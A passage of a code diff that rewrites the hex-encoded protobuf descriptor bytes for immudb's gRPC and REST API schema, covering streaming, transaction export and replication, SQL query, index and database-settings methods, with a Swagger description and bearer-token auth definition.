0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, - 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, - 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, - 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, - 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, - 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, - 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, + 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, 0x15, + 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, + 0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, + 0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, + 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, + 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, + 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, + 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, + 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, + 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, + 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, + 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, + 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, - 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x67, 0x0a, 0x0d, - 0x55, 0x6e, 0x61, 0x72, 0x79, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, - 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, - 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, - 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, - 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, - 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, - 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, - 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, - 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, - 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, - 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, - 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, - 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, - 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, - 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, - 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, - 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, - 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, - 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, - 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, - 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, - 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, + 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x67, 0x0a, 0x0d, 0x55, + 0x6e, 0x61, 0x72, 0x79, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 